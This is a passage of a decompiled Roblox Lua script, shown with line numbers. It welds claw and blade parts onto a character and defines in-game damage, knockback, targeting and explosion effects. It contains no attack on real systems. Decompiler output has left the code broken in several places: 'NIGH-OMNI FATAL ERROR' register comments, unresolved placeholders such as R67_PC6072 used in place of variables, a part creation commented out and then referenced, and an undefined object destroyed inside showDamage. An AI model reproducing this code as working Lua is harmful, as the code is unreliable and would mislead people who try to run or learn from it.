ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
1968
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
1969
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
1970
ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489))
1971
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
1972
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
1973
ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176))
1974
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
1975
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
1976
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
1977
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
1978
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
1979
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
1980
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
1981
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
1982
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
1983
MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
1984
MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
1985
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
1986
ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
1987
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
1988
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
1989
ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608))
1990
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
1991
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
1992
ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176))
1993
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
1994
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
1995
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
1996
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
1997
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
1998
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
1999
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
2000
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
2001
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
2002
MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003))
2003
MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0))
2004
local CBlade = {}
2005
local CBladeWelds = {}
2006
for _,c in pairs(m:children()) do
2007
  if c.className == "Part" then
2008
    table.insert(CBlade, R67_PC6072)
2009
  end
2010
end
2011
for _,c in pairs(m:children()) do
2012
  if c.className == "Weld" then
2013
    table.insert(CBladeWelds, R67_PC6072)
2014
    print(R66_PC6093)
2015
  end
2016
end
2017
-- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
2018
2019
-- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
2020
2021
--Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
2022
-- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
2023
2024
-- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
2025
2026
HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0))
2027
CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3))
2028
FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013))
2029
FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
2030
Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
2031
PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
2032
CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5))
2033
Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
2034
PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
2035
CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1))
2036
TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3))
2037
TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0))
2038
CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5))
2039
local DBlade = {}
2040
local DBladeWelds = {}
2041
for _,c in pairs(demon:children()) do
2042
  if c.className == "Part" then
2043
    table.insert(DBlade, c)
2044
  end
2045
end
2046
for _,c in pairs(demon:children()) do
2047
  if c.className == "Weld" then
2048
    table.insert(DBladeWelds, c)
2049
    print(c)
2050
  end
2051
end
2052
demon.Parent = nil
2053
2054
paly = owner
2055
char = paly.Character
2056
torso = char.Torso
2057
neck = char.Torso.Neck
2058
hum = char.Humanoid
2059
Player = owner
2060
Character = Player.Character
2061
tors = Character.Torso
2062
lleg = Character["Left Leg"]
2063
root = Character.HumanoidRootPart
2064
hed = Character.Head
2065
rleg = Character["Right Leg"]
2066
rarm = Character["Right Arm"]
2067
larm = Character["Left Arm"]
2068
local Effects = {}
2069
attack = false
2070
vt = Vector3.new
2071
bc = BrickColor.new
2072
br = BrickColor.random
2073
it = Instance.new
2074
cf = CFrame.new
2075
euler = CFrame.fromEulerAnglesXYZ
2076
angles = CFrame.Angles
2077
matr = math.random
2078
local basiccooldown = math.huge
2079
local ultcooldown = math.huge
2080
local secondcooldown = math.huge
2081
local thirdcooldown = math.huge
2082
2083
local boll = Instance.new("Part",game.Lighting)
2084
boll.Transparency = 0.5
2085
boll.Material = "Neon"
2086
boll.BrickColor = tors.BrickColor
2087
boll.Anchored = true
2088
boll.Size = vt(1,1,1)
2089
boll.Shape = "Ball"
2090
boll.CanCollide = false
2091
2092
local shur = Instance.new("Part",game.Lighting)
2093
shur.Transparency = 0
2094
shur.Material = "Neon"
2095
shur.BrickColor = tors.BrickColor
2096
shur.Anchored = true
2097
shur.Size = vt(5,0.2,5)
2098
shur.CanCollide = false
2099
local Meshshur = Instance.new("CylinderMesh",shur)
2100
2101
2102
local boll = Instance.new("Part",game.Lighting)
2103
boll.Transparency = 0.5
2104
boll.Material = "Neon"
2105
boll.BrickColor = bc("Bright red")
2106
boll.Anchored = true
2107
boll.Size = vt(1,1,1)
2108
boll.Shape = "Ball"
2109
boll.CanCollide = false
2110
2111
local shur = Instance.new("Part",game.Lighting)
2112
shur.Transparency = 0
2113
shur.Material = "Neon"
2114
shur.BrickColor = bc("Bright red")
2115
shur.Anchored = true
2116
shur.Size = vt(5,0.2,5)
2117
shur.CanCollide = false
2118
local Meshshur = Instance.new("CylinderMesh",shur)
2119
2120
Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
2121
        if hit.Parent==nil then
2122
                return
2123
        end
2124
        h=hit.Parent:FindFirstChild("Humanoid")
2125
        for _,v in pairs(hit.Parent:children()) do
2126
        if v:IsA("Humanoid") then
2127
        h=v
2128
        end
2129
        end
2130
        if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
2131
        h=hit.Parent.Parent:FindFirstChild("Humanoid")
2132
        end
2133
        if hit.Parent.className=="Hat" then
2134
        hit=hit.Parent.Parent:findFirstChild("Head")
2135
        end
2136
        if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
2137
        if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
2138
        --[[                if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
2139
                        return
2140
                end]]
2141
--                        hs(hit,1.2) 
2142
                        c=Instance.new("ObjectValue")
2143
                        c.Name="creator"
2144
                        c.Value=owner
2145
                        c.Parent=h
2146
                        game:GetService("Debris"):AddItem(c,.5)
2147
                Damage=math.random(minim,maxim)
2148
--                h:TakeDamage(Damage)
2149
                blocked=false
2150
                block=hit.Parent:findFirstChild("Block")
2151
                if block~=nil then
2152
                print(block.className)
2153
                if block.className=="NumberValue" then
2154
                if block.Value>0 then
2155
                blocked=true
2156
                if decreaseblock==nil then
2157
                block.Value=block.Value-1
2158
                end
2159
                end
2160
                end
2161
                if block.className=="IntValue" then
2162
                if block.Value>0 then
2163
                blocked=true
2164
                if decreaseblock~=nil then
2165
                block.Value=block.Value-1
2166
                end
2167
                end
2168
                end
2169
                end
2170
                if blocked==false then
2171
--                h:TakeDamage(Damage)
2172
                h.Health=h.Health-Damage
2173
                showDamage(hit.Parent,Damage,.5,TorsoColor)
2174
                else
2175
                h.Health=h.Health-(Damage/2)
2176
                showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
2177
                end
2178
                if Type=="Knockdown" then
2179
                hum=hit.Parent.Humanoid
2180
hum.PlatformStand=true
2181
coroutine.resume(coroutine.create(function(HHumanoid)
2182
swait(1)
2183
HHumanoid.PlatformStand=false
2184
end),hum)
2185
                local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
2186
--hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
2187
local bodvol=Instance.new("BodyVelocity")
2188
bodvol.velocity=angle*knockback
2189
bodvol.P=5000
2190
bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
2191
bodvol.Parent=hit
2192
rl=Instance.new("BodyAngularVelocity")
2193
rl.P=3000
2194
rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
2195
rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
2196
rl.Parent=hit
2197
game:GetService("Debris"):AddItem(bodvol,.5)
2198
game:GetService("Debris"):AddItem(rl,.5)
2199
                elseif Type=="Normal" then
2200
                vp=Instance.new("BodyVelocity")
2201
                vp.P=500
2202
                vp.maxForce=Vector3.new(math.huge,0,math.huge)
2203
--                vp.velocity=Character.Torso.CFrame.lookVector*Knockback
2204
                if KnockbackType==1 then
2205
                vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
2206
                elseif KnockbackType==2 then
2207
                vp.velocity=Property.CFrame.lookVector*knockback
2208
                end
2209
                if knockback>0 then
2210
                        vp.Parent=hit.Parent.Torso
2211
                end
2212
                game:GetService("Debris"):AddItem(vp,.5)
2213
                elseif Type=="Up" then
2214
                local bodyVelocity=Instance.new("BodyVelocity")
2215
                bodyVelocity.velocity=vt(0,10,0)
2216
                bodyVelocity.P=1000
2217
                bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
2218
                bodyVelocity.Parent=hit
2219
                game:GetService("Debris"):AddItem(bodyVelocity,1)
2220
                rl=Instance.new("BodyAngularVelocity")
2221
                rl.P=3000
2222
                rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
2223
                rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
2224
                rl.Parent=hit
2225
                game:GetService("Debris"):AddItem(rl,.5)
2226
                elseif Type=="Snare" then
2227
                bp=Instance.new("BodyPosition")
2228
                bp.P=2000
2229
                bp.D=100
2230
                bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
2231
                bp.position=hit.Parent.Torso.Position
2232
                bp.Parent=hit.Parent.Torso
2233
                game:GetService("Debris"):AddItem(bp,1)
2234
                elseif Type=="Target" then
2235
                if Targetting==false then
2236
                ZTarget=hit.Parent.Torso
2237
                coroutine.resume(coroutine.create(function(Part) 
2238
                swait(5)
2239
                end),ZTarget)
2240
                TargHum=ZTarget.Parent:findFirstChild("Humanoid")
2241
                targetgui=Instance.new("BillboardGui")
2242
                targetgui.Parent=ZTarget
2243
                targetgui.Size=UDim2.new(10,100,10,100)
2244
                targ=Instance.new("ImageLabel")
2245
                targ.Parent=targetgui
2246
                targ.BackgroundTransparency=1
2247
                targ.Image="rbxassetid://4834067"
2248
                targ.Size=UDim2.new(1,0,1,0)
2249
                cam.CameraType="Scriptable"
2250
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
2251
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
2252
                workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
2253
                Targetting=true
2254
                RocketTarget=ZTarget
2255
                for i=1,Property do
2256
                --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
2257
                if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
2258
                swait()
2259
                end
2260
                --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
2261
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
2262
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
2263
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
2264
                end
2265
                Targetting=false
2266
                RocketTarget=nil
2267
                targetgui.Parent=nil
2268
                cam.CameraType="Custom"
2269
                end
2270
                end
2271
                        debounce=Instance.new("BoolValue")
2272
                        debounce.Name="DebounceHit"
2273
                        debounce.Parent=hit.Parent
2274
                        debounce.Value=true
2275
                        game:GetService("Debris"):AddItem(debounce,Delay)
2276
                        c=Instance.new("ObjectValue")
2277
                        c.Name="creator"
2278
                        c.Value=Player
2279
                        c.Parent=h
2280
                        game:GetService("Debris"):AddItem(c,.5)
2281
                CRIT=false
2282
                hitDeb=true
2283
                AttackPos=6
2284
        end
2285
end
2286
 
2287
showDamage=function(Char,Dealt,du,Color)
2288
        m=Instance.new("Model")
2289
        m.Name=tostring(Dealt)
2290
        h=Instance.new("Humanoid")
2291
        h.Health=0
2292
        h.MaxHealth=0
2293
        h.Parent=m
2294
        c=Instance.new("Part")
2295
        c.Transparency=0
2296
        c.Material = "Neon"
2297
        c.BrickColor=bc("New Yeller")
2298
        c.Name="Head"
2299
        c.TopSurface=0
2300
        c.BottomSurface=0
2301
  local tick = Instance.new("Sound",c)
2302
  tick.SoundId = "rbxassetid://12221976"
2303
  tick.Volume = 5
2304
  tick.Pitch = 4
2305
  tick:Play()
2306
        c.formFactor="Plate"
2307
        c.Size=Vector3.new(1,.4,1)
2308
        ms=Instance.new("CylinderMesh")
2309
        ms.Scale=Vector3.new(.8,.8,.8)
2310
        if CRIT==true then
2311
                ms.Scale=Vector3.new(1,1.25,1)
2312
        end
2313
        ms.Parent=c
2314
        c.Reflectance=0
2315
        Instance.new("BodyGyro").Parent=c
2316
        c.Parent=m
2317
        if Char:findFirstChild("Head")~=nil then
2318
        c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
2319
        elseif Char.Parent:findFirstChild("Head")~=nil then
2320
        c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
2321
        end
2322
        f=Instance.new("BodyPosition")
2323
        f.P=2000
2324
        f.D=100
2325
        f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
2326
        f.position=c.Position+Vector3.new(0,3,0)
2327
        f.Parent=c
2328
        game:GetService("Debris"):AddItem(m,.5+du)
2329
        c.CanCollide=false
2330
        m.Parent=workspace
2331
        c.CanCollide=false
2332
p:Destroy()
2333
end
2334
2335
function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
2336
	for _, c in pairs(workspace:children()) do
2337
		local hum = c:findFirstChild("Humanoid")
2338
		if hum ~= nil then
2339
			local head = c:findFirstChild("Torso")
2340
			if head ~= nil then
2341
				local targ = head.Position - Part.Position
2342
				local mag = targ.magnitude
2343
				if mag <= magni and c.Name ~= Player.Name then 
2344
					Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
2345
				end
2346
			end
2347
		end
2348
	end
2349
end
2350
2351
function Explode(rad,par)
2352
	local expart = Instance.new("Part",script.Parent)
2353
	local expart2 = Instance.new("Part",script.Parent)
2354
	local partMesh = Instance.new("SpecialMesh",expart)
2355
	partMesh.MeshType = "Sphere"
2356
	local partMesh2 = Instance.new("SpecialMesh",expart2)
2357
	partMesh2.MeshType = "Sphere"
2358
	local expld = Instance.new("Explosion", script.Parent)
2359
local plode = Instance.new("Sound",expart)
2360
  plode.SoundId = "rbxassetid://165970126"
2361
  plode.Volume = 1
2362
  plode.Pitch = 1
2363
  plode.Looped = false
2364
  plode:Play()
2365
	expld.BlastRadius = rad
2366
	expld.Position = par.Position
2367
	partMesh.Scale = vt(rad,rad,rad)
2368
	expart.Size = vt(1,1,1)*1.5
2369
	expart.Transparency = 0
2370
	expart.Anchored = true
2371
	expart.Material = "Neon"
2372
	expart.BrickColor = bc("White")
2373
	expart.CFrame = par.CFrame
2374
	partMesh2.Scale = vt(rad,rad,rad)
2375
	expart2.Size = vt(1.15,1.15,1.15)*1.5
2376
	expart2.Transparency = 0.5
2377
	expart2.Anchored = true
2378
	expart2.Material = "Neon"
2379
	expart2.BrickColor = bc("New Yeller")
2380
	expart2.CFrame = par.CFrame
2381
        local value = 1*rad/6.5
2382
        par:Destroy()
2383
	for i = 0, 100 do
2384
                partMesh.Scale = partMesh.Scale + vt(value,value,value)
2385
		expart.CFrame = expart.CFrame
2386
                partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
2387
		expart2.CFrame = expart.CFrame
2388
                value = value - 0.035*rad/6.5
2389
                if value < 1 then
2390
                value = 0.25
2391
		expart.Transparency = expart.Transparency + 0.025
2392
		expart2.Transparency = expart2.Transparency + 0.025
2393
                end
2394
		wait()
2395
	end
2396
  plode.Parent = nil
2397
	expart.Parent = nil
2398
	expart2.Parent = nil
2399
	expld.Parent = nil
2400
end
2401
2402
function ExplodeMass(rad,par)
2403
	local expart = Instance.new("Part",script.Parent)
2404
	local expart2 = Instance.new("Part",script.Parent)
2405
	local partMesh = Instance.new("SpecialMesh",expart)
2406
	partMesh.MeshType = "Sphere"
2407
	local partMesh2 = Instance.new("SpecialMesh",expart2)
2408
	partMesh2.MeshType = "Sphere"
2409
	local expld = Instance.new("Explosion", script.Parent)
2410
local plode = Instance.new("Sound",workspace)
2411
  plode.SoundId = "rbxassetid://579687077"
2412
  plode.Volume = 1
2413
  plode.Pitch = 0.85
2414
  plode.Looped = false
2415
  plode:Play()
2416
local plodez = Instance.new("Sound",workspace)
2417
  plodez.SoundId = "rbxassetid://288641686"
2418
  plodez.Volume = 1
2419
  plodez.Pitch = 0.75
2420
  plodez.Looped = false
2421
  plodez:Play()
2422
local plodeza = Instance.new("Sound",workspace)
2423
  plodeza.SoundId = "rbxassetid://197161452"
2424
  plodeza.Volume = 0.85
2425
  plodeza.Pitch = 0.65
2426
  plodeza.Looped = false
2427
  plodeza:Play()
2428
local plodezar = Instance.new("Sound",workspace)
2429
  plodezar.SoundId = "rbxassetid://197161452"
2430
  plodezar.Volume = 0.85
2431
  plodezar.Pitch = 0.25
2432
  plodezar.Looped = false
2433
  plodezar:Play()
2434
	expld.BlastRadius = rad
2435
	expld.Position = par.Position
2436
wait(0.5)
2437
        par:Destroy()
2438
  plode.Parent = nil
2439
	expart.Parent = nil
2440
	expart2.Parent = nil
2441
	expld.Parent = nil
2442
end
2443
function ExplodeMassen(rad,par)
2444
	local expart = Instance.new("Part",script.Parent)
2445
	local expart2 = Instance.new("Part",script.Parent)
2446
	local partMesh = Instance.new("SpecialMesh",expart)
2447
	partMesh.MeshType = "Sphere"
2448
	local partMesh2 = Instance.new("SpecialMesh",expart2)
2449
	partMesh2.MeshType = "Sphere"
2450
	local expld = Instance.new("Explosion", script.Parent)
2451
local plode = Instance.new("Sound",workspace)
2452
  plode.SoundId = "rbxassetid://579687077"
2453
  plode.Volume = 1
2454
  plode.Pitch = 0.85
2455
  plode.Looped = false
2456
  plode:Play()
2457
local plodez = Instance.new("Sound",workspace)
2458
  plodez.SoundId = "rbxassetid://288641686"
2459
  plodez.Volume = 1
2460
  plodez.Pitch = 0.75
2461
  plodez.Looped = false
2462
  plodez:Play()
2463
local plodeza = Instance.new("Sound",workspace)
2464
  plodeza.SoundId = "rbxassetid://197161452"
2465
  plodeza.Volume = 0.85
2466
  plodeza.Pitch = 0.65
2467
  plodeza.Looped = false
2468
  plodeza:Play()
2469
local plodezar = Instance.new("Sound",workspace)
2470
  plodezar.SoundId = "rbxassetid://197161452"
2471
  plodezar.Volume = 0.85
2472
  plodezar.Pitch = 0.25
2473
  plodezar.Looped = false
2474
  plodezar:Play()
2475
	expld.BlastRadius = rad
2476
	expld.Position = par.Position
2477
	partMesh.Scale = vt(rad,rad,rad)
2478
	expart.Size = vt(1,1,1)*1.5
2479
	expart.Transparency = 0
2480
	expart.Anchored = true
2481
	expart.Material = "Neon"
2482
	expart.BrickColor = bc("White")
2483
	expart.CFrame = par.CFrame
2484
	partMesh2.Scale = vt(rad,rad,rad)
2485
	expart2.Size = vt(1.15,1.15,1.15)*1.5
2486
	expart2.Transparency = 0.5
2487
	expart2.Anchored = true
2488
	expart2.Material = "Neon"
2489
	expart2.BrickColor = tors.BrickColor
2490
	expart2.CFrame = par.CFrame
2491
        local value = 1*rad/10
2492
        par:Destroy()
2493
	for i = 0, 300 do
2494
                partMesh.Scale = partMesh.Scale + vt(value,value,value)
2495
		expart.CFrame = expart.CFrame
2496
                partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
2497
		expart2.CFrame = expart.CFrame
2498
                value = value - 0.0175*rad/10
2499
                if value <= 0 then
2500
		expart.Transparency = expart.Transparency + 0.0125
2501
		expart2.Transparency = expart2.Transparency + 0.0125
2502
